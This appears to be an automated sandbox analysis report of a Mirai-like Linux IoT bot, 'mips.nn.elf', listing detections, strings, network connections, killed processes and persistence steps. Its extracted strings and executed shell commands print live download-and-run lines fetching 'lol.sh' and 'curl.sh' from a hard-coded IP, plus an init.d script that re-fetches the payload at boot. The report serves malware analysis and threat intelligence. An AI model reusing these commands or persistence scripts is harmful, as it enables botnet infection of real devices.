Source: mips.nn.elf |
ReversingLabs: Detection: 42% |
Source: mips.nn.elf |
Virustotal: Detection: 39% |
Perma Link |
Source: mips.nn.elf |
String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s |
Source: mips.nn.elf |
String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0 |
Source: global traffic |
TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8 |
Source: global traffic |
TCP traffic: 192.168.2.23:60014 -> 94.156.227.234:38242 |
Source: /tmp/mips.nn.elf (PID: 6236) |
Socket: 0.0.0.0:38242 |
Jump to behavior |
Source: global traffic |
TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443 |
Source: global traffic |
TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443 |
Source: global traffic |
TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 62.57.1.214 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 70.204.57.104 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.189.91.42 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 155.2.39.195 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 184.186.214.2 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 62.57.1.214 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 194.166.25.215 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 189.15.224.89 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 56.19.205.120 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 70.204.57.104 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 139.77.151.152 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 201.87.226.221 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 155.2.39.195 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 98.52.187.179 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 124.206.46.77 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 157.90.237.45 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 192.215.186.31 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 105.155.62.88 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 184.186.214.2 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 68.244.137.213 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 30.108.37.203 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.200.103.181 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 194.166.25.215 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 22.35.203.32 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 136.82.159.6 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 189.15.224.89 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 99.99.31.141 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 18.133.8.238 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 56.19.205.120 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 113.3.143.8 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 147.40.27.87 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 49.87.32.224 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 178.64.0.74 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 164.45.220.159 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 139.77.151.152 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 66.115.183.158 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 103.240.230.21 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 63.166.201.97 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 13.175.21.74 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 125.40.151.243 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 201.87.226.221 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 61.123.114.38 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 98.52.187.179 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 19.71.0.156 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 192.87.170.68 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 124.206.46.77 |
Source: mips.nn.elf, profile.12.dr, system.12.dr, mips.nn.elf.32.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr |
String found in binary or memory: http://94.156.227.233/ |
Source: mips.nn.elf |
String found in binary or memory: http://94.156.227.233/curl.sh |
Source: mips.nn.elf |
String found in binary or memory: http://94.156.227.233/lol.sh |
Source: mips.nn.elf |
String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s |
Source: unknown |
Network traffic detected: HTTP traffic on port 43928 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 42836 -> 443 |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox |
Source: Initial sample |
String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//ank |
Source: Initial sample |
String containing 'busybox' found: usage: busybox |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox hostname PBOC |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo > |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox echo -ne |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh; |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep |
Source: Initial sample |
String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0 |
Source: Initial sample |
String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4 |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 788, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 884, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 1664, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 2096, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 2102, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 6276, result: successful |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6335) |
SIGKILL sent: pid: 6405, result: successful |
Jump to behavior |
Source: classification engine |
Classification label: mal92.spre.troj.evad.linELF@0/10@0/0 |
Source: /tmp/mips.nn.elf (PID: 6236) |
File: /etc/profile |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6236) |
File: /etc/rc.local |
Jump to behavior |
Source: /usr/bin/ln (PID: 6291) |
File: /etc/rcS.d/S99system -> /etc/init.d/system |
Jump to behavior |
Source: /usr/bin/ln (PID: 6315) |
File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elf |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6236) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6288) |
File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6303) |
File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6450/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6452/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6451/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6410/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6412/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6411/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/1477/cmdline |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/799/cmdline |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6447/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6446/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6405/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6449/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6404/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6448/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6409/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6408/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6441/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6066/cmdline |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6440/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6443/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6442/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6445/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6444/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6438/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6437/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6320) |
File opened: /proc/6439/status |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6253) |
Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6286) |
Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6289) |
Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6292) |
Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6298) |
Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6304) |
Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6310) |
Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /bin/sh (PID: 6288) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system |
Jump to behavior |
Source: /bin/sh (PID: 6303) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elf |
Jump to behavior |
Source: /bin/sh (PID: 6309) |
Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d |
Jump to behavior |
Source: /bin/sh (PID: 6261) |
Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6236) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6288) |
File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6303) |
File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/mips.nn.elf (PID: 6236) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/system |
Jump to dropped file |
Source: /tmp/mips.nn.elf (PID: 6236) |
Writes shell script file to disk with an unusual file extension: /etc/rc.local |
Jump to dropped file |
Source: /bin/sh (PID: 6292) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elf |
Jump to dropped file |
Source: /tmp/mips.nn.elf (PID: 6236) |
File: /etc/init.d/system |
Jump to dropped file |
Source: /bin/sh (PID: 6292) |
File: /etc/init.d/mips.nn.elf |
Jump to dropped file |
Source: /tmp/mips.nn.elf (PID: 6236) |
Queries kernel information via 'uname': |
Jump to behavior |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: U!/etc/qemu-binfmt/mips |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/mips |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: tc/qemu-binfmtP |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: /usr/bin/vmtoolsd |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: %s/qemu-op |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-mips |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: U0!/usr/bin/vmtoolsd |
Source: mips.nn.elf, 6236.1.000055a77a9f5000.000055a77aa9d000.rw-.sdmp |
Binary or memory string: r-managertc/qemu-binfmtP /proc/2102/exexfce4/xfc!/proc/2123/exe/mips/pr1/usr/bin/xfce4-power-manager0!/proc/2114/exe!/proc/2242/exet/mips/pr |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: /tmp/qemu-open.6Os42J |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: MPDIR%s/qemu-op |
Source: mips.nn.elf, 6236.1.00007ffddbdf0000.00007ffddbe11000.rw-.sdmp |
Binary or memory string: U/tmp/qemu-open.6Os42J\D)* |
Source: Yara match |
File source: mips.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: mips.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: mips.nn.elf PID: 6236, type: MEMORYSTR |
Source: Yara match |
File source: mips.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: mips.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6236.1.00007fcca4400000.00007fcca4421000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: mips.nn.elf PID: 6236, type: MEMORYSTR |